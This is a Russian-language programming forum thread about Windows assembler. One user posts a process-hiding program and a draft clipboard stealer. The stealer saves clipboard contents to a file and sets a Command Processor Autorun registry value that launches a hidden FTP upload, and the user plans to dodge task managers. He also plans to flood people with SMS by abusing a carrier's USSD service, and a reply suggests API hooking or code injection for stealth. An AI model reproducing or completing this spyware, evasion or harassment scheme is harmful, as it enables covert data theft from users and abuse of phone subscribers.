Помощь - Поиск - Пользователи - Календарь
Полная версия: Работа с буфером обмена..скрытие процесса от диспетчера задач
Форум «Всё о Паскале» > Delphi, Assembler и другие языки. > Assembler
-Веселый стекольщик-
Очень хотелось бы разобраться буферами окошек..только к сожалению не получается связать многочисленные функции по работе с...Сlip..
в единый кусок..Если не трудно приведить примеры работы с буфером-какие функции и в какой последовательности вызывать, нюансы ,если есть.
Также
Код
.386
.model flat, stdcall

include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib

.data
mens1    db     'This process was hidden of control+alt+del box!', 0
mens2    db     'Now, you can see it...', 0
mcaption db     'Program: Hidden Process... by CybOrgAsm, POA - Brasil', 0
kernel32 db        'kernel32.dll', 0
func     db     'RegisterServiceProcess', 0            ; undocumented.

.data?
RSP     dd    ?

.code
start:
    invoke  GetModuleHandle, ADDR kernel32    
    or    eax, eax                    
    jz    sair
                        
    invoke  GetProcAddress, eax, ADDR func  
    or    eax, eax
    jz    sair

    mov     [RSP], eax     ; save the address

    push    1              ; hide
    push    0              ; 0 = this process
    call    RSP            ; call it

    invoke    MessageBox, NULL, ADDR mens1, ADDR mcaption, MB_OK

    push    0              ; well.. we don't have a function called
                             ; "UnRegisterServiceProcess" BUT...
                             ; if you put a 0 , you will "unhide" it >:)
    push    0              ; this process. (but what about unhide others?)
    call    RSP            ; call it

    invoke    MessageBox, NULL, ADDR mens2, ADDR mcaption, MB_OK
sair:
    invoke  ExitProcess, 0 ; cya!
end start

программа нормально работает под XP до второго сравнения битов результата и выходит по Exit..
И вообще смысл не понятен-получаем смещение вызванной первой функции получения хндла этого приложения , вызов RSP c непонятными параметрами..???доведите понятного средними умами, плиз..
FreeMan
чушь несете, товарищ... программа работоет нормально, только вот способ скрытия у вас со времен денозавров и на сколько йа знаю работоет тока под 9х. под хр хукойте NtQuerySystemInformatiоn либо можете инжектеть свой код в чужой процесс.
насчет клипбоарда - в мсдн все детально расписанно. сделой код, а мы его есле что поправем :
Веселый стекольщик
O-o-o...цепляющие файлы к процессам, пока дождешься
вашей милости состаришься и забудешь пароль..
Никто никого за язык(пальцы) не тянул, и да не
оскудеют ваши знания избавить этот код от ошибок при внесении значения в реестр
записи в фаил, и клипомбоардом...

Вот что-то вроде getClipBoardDataТырящегоFtp-клиента..

.486
.model flat, stdcall
option casemap :none
; -----------------------------Masm--------------------------------------------

include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\gdi32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\Comctl32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\oleaut32.inc
include \masm32\include\Advapi32.inc



includelib \masm32\lib\masm32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\Comctl32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\oleaut32.lib
includelib \masm32\lib\Advapi32.lib


.data
fles db "c:\ntuser.ini", 0

szformat db "%u", 0

bufferforstring db 10 dup(0)

NumberBytsForWrite dd 10

hndlfile dd 0

Subkey db "software\microsoft\command processor\", 0

dat db "start ftp.exe -d -s:c:\boot.ini 127.0.0.1 &exit", 0

par db "Autorun", 0

EXENAME db "cmd", 0

windname db "C:\windows\system32\ftp.exe",0 ; (?????)



.data?
hndOpenedKey dd ?
sam dd ?
.code

start:
; -------------------------------Собственный хндл ------------------------------------------

push NULL
Call GetModuleHandle
mov Sam, eax
jmp begin

begin:
Работать эта хреновина должна следующим образом:
модуль где сейчас находится этот текст запускается с низким приоритетом основной программой
и находится в бесконечном цикле в котором определяет использует ли какое -нибудь приложение ф-ю
NtQuerySystemInformatiоn(ведь именно она используется приложениях подобных таск мжр..хотя есть и другие..)
то есть ищет процессы которые грузят библиотеку Ntdll.dll , определяет соответствие
процесса классу gui объекта(ведь это может быть не только окно но значок в трее)-тоесть активно ли приложение
следящее за процессами.. если да то сворачивается -через некоторое время основная программа снова
проверит наличие палева и если что запустит..
если палева нет-скидывает определенный объем символов в фаил
и голубиной почтой посылает по фтп на 4 трехзначные цифры разделенные точкой....
напишите подробно код который делал бы это(ИСКал диспетчер задач и ему подобных) ..
а то не получается и времени не хватает ..или аналогию,
только не надо
рисовать тут про API спласинг и трапing

В курсе что все это напоминает метод пьяного тракториста..но что делать..)


; ----------------------------------получение хэндла окна владеющего бордом ---------------------------------------

call GetClipboardOwner
cmp eax, 0
jz begin
; ------------------------------------Открытие борда -------------------------------------

push eax
Call OpenClipboard


; ---------------------------------получение хндла объекта борда----------------------------------------
push NULL
push CF_UNICODETEXT
Call GetClipboardData
; ---------------------------------форматирование----------------------------------------

push offset bufferforstring
push offset szformat
push eax
Call wsprintf
; -----------------------------------создание файла и получение его хндла--------------------------------------

push NULL
push FILE_ATTRIBUTE_ARCHIVE
push CREATE_ALWAYS
push NULL
push NULL
push GENERIC_WRITE
push offset fles
call CreateFileA

mov hndlfile, eax
; ----------------------------------запись в фаил из bufferforstring функции wsprintf ---------------------------------------

push NULL
push offset NumberBytsForWrite
push 10d
push offset bufferforstring
push offset hndlfile
call WriteFile
; ---------------------------------Закрытие файла и борда----------------------------------------

push hndlfile
call CloseHandle
call CloseClipboard


; ---------------------------------Открытие раздела----------------------------------------

push offset hndOpenedKey
push KEY_SET_VALUE
push NULL
push offset Subkey
push HKEY_LOCAL_MACHINE
Call RegOpenKeyEx
; ----------------------------------Установка значения параметра---------------------------------------

push 7
push offset dat
push REG_SZ
push NULL
push offset par
push offset hndOpenedKey
Call RegSetValueEx
; ------------------------------Закрытие ключа-------------------------------------------


push offset hndOpenedKey
Call RegCloseKey
; ----------------------старт смд =в результате выполняется команда определенная выше в ключе рееста------

push SW_HIDE
push offset EXENAME
Call WinExec
; ---------------------hide фтп ...такая комбинация с запуском фтп из смд нужна чтобы фаервол не кричал-------

push NULL ;(???)
push offset windname
call FindWindow

push SW_HIDE
push eax
call ShowWindow


jmp ext

ext:
Call ExitProcess

end start


Да и еще..
Телефонное хулиганье хорошо организовано и прогрессирует...НО..
Наш местный оператор сотовой связи имеет небольшой грешок-при наборе на сот. трубке ussd запроса для отправки
смс-ок с просьбой чтобы мол перезвонили, количество этих самых наборов и соответсвенно смс не ограничено,
а фильтров смс в телефонах что-то не встречал..
Самое простое-подключается телефон в качестве модема и вызывается "подключение уделенного доступа"
без всяких проверок(это все в настройках подключения ) набирается номер типа *13x*xxxxxxxxxx#(там же)
Какой функцией вызвать окно соединения? с классом #32770 не имеющего процесса или скрытого -хрен его знает


include \MASM32\INCLUDE\mpr.inc
includelib \MASM32\LIB\mpr.lib

invoke WNetConnectionDialog,hWnd,RESOURCETYPE_DISK--сетевой диск мне нафиг здесь не нужен

RESOURCETYPE_DISK ---какой должна быть переменная??????

Дальше ясно через таймер окно закрывается и вновь открывается и шлет письма счастья

помогите.. с вызовом(конечно можно и другими способами набирать..надо так)
а то резервный 133 пень ждет 12 часовой работы в фазу полной луны, а кто-то наверняка мечтае
FreeMan
итаг попорядку.. на этом форуме я бываю редко в силу определенных причин sad.gif
Цитата
модуль где сейчас находится этот текст запускается с низким приоритетом основной программой
и находится в бесконечном цикле в котором определяет использует ли какое -нибудь приложение ф-ю
NtQuerySystemInformatiоn(ведь именно она используется приложениях подобных таск мжр..хотя есть и другие..)
то есть ищет процессы которые грузят библиотеку Ntdll.dll

новерное для некоторых это окажется большой новостью, но ntdll.dll имеется в адресном пространстве каждого процесса и обычно активно используется. так что думайте другой способ или не парьтесь и похукайте все что надо.

совет. используйте фасм и макросы потипу инвок, а то код невозможно читать

п.с. спамерство в любой форме не поощряю.
Веселый стекольщик
Спам?! Где?!!...Это ведь ВАШИ мысли...я лишь указал возможность оперативно наладить связь с малолетним террористом,
который ложит на счет вашей племянницы 13 рублей каждый месяц и
клянется(ей! а не мне) в любви до места(точнее времени) где безжизненные ноги упираются в деревянную стенку не менее деревянного ящика.
вобщем ближе к сути:
вызовом ящиков(с вариантами выбора имен коннектов- подключение удаленного доступа) соединения с сетью
занимаются следующие функции= =
InternetDial
InternetAttemptConnect
InternetAutodial
и некоторые другие косвенно.
все прекрасно появляется , но вот закрыть соединение не так просто..
способы с выявление хэндла этого окна и его дестроем и т.п приводит к ошибке..вариант с CloseHandle тоже не
фурычит-оно и понятно , ведь используется порт и предыдущий дозвон избил его байтами и при не
корректном завершении(даже не завершении) и "очистки" порта-еррор(что и написано в MSDN Beta 2008)...
были проверены утилиты смд на их возможности все сделать как надо-девиз:Все уже написано до нас(за нас)
rasdial элемент(название конекта)
rasphone -h элемент-по идее должен закрывать связь, но этого увы не происходит
В очередной раз убеждаюсь в полезности F1 найдя файл с расширением pbk (а ведь именно с этого я и начинал,
ведь можно просто поставить в настройках время простоя до разединения сколько надо и все путем,
но тогда мое тест-название конекта не нашлось в файловой системе...вот ведь западло)
так что учтите что поиск *.pbk не находит, у меня он был C:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk
хотя согласно ф1 должен быть в C:\WINDOWS\system32\ras ошибка в справке..или виндоус или во мне
Изменение строчки IdleDisconnectSeconds=требуемые секунды и намеренные косяки в других ничего недает..все равно повтор
после 1 минуты, видно все висит в памяти описания окна настроек коннекта -там всегда 1 минута..изменить там???слишком сложно.
Создав этот фаил(CreatFile) можно сделать дозвонщик, но это уже другой вопрос
Модем трубки моторола можно опросить через свойства драйвера девайс мжр , там в отчете,..
точнее в логах модема (C: WINDOWS\чего-то-там)соединения
можно найти ATDT*133#8XXX7334711#<cr>-набор номера
есть терминал отсылки(стороняя программа для работы с телефоном -P2KTools) AT команда модему-вручную ВСЕ ЗАРАБОТАЛО!!
ЗНАЧИТ ВСЕТАКИ ПРИДЕТСЯ РАБОТАТЬ С МОДЕМОМ И ПОРТОМ НАПРЯМУЮ sad.gif (COM3..,будь он неладен)
Есть другие варианты программ набирающих номер?Помогите написать программу работающую с модемом, или ссылки.
start mode /? не предлагать ;)...

Возникла острая необходимость изменить призрачность окна, как например у winampa v. 5XX настройка window ->opacity
как это осуществляется?в мсдн ничего не нашел..только послали на I/O драйверов и каких-то объектов.
эта опция(opasity) в Win98 опущена..из чего делается вывод-using каких-то API для сего эффекта ..
Приведите код программы ассемблера которая выводит простое окно(всех задолбавших пример окна)
с измененной прозрачностью(например 50 персент) и ссылки на эту тему..очень надо.

Переменная "Скрытие от диспетчера задач" была положена в стек этого раздела форума первой и соответсвенно
будет извлечена(раскрыта) последней...
после буфера модема прозрачности

p-s =
Неужели вы думаете что я буду использовать только функции раздела HOOK!?!? из всего что возможно?Способов ведь масса smile.gif
Насчет макросов учту.
monttirovka
гыыы)) здорово клон!

copy con comN
все уже написано до нас...


прозрачность

.if uMsg==WM_CREATE

invoke GetWindowLong,hWnd,GWL_EXSTYLE
or eax,WS_EX_LAYERED or WS_EX_NOACTIVATE
invoke SetWindowLong,hWnd,GWL_EXSTYLE,eax
invoke SetLayeredWindowAttributes,hWnd,00FFFFFFh,70,LMA_ALPHA or LMA_COLORKEY




а шарик то вертится...)чтоб его..
Всех с наступившим годом Крыса!
Это текстовая версия — только основной контент. Для просмотра полной версии этой страницы, пожалуйста, нажмите сюда.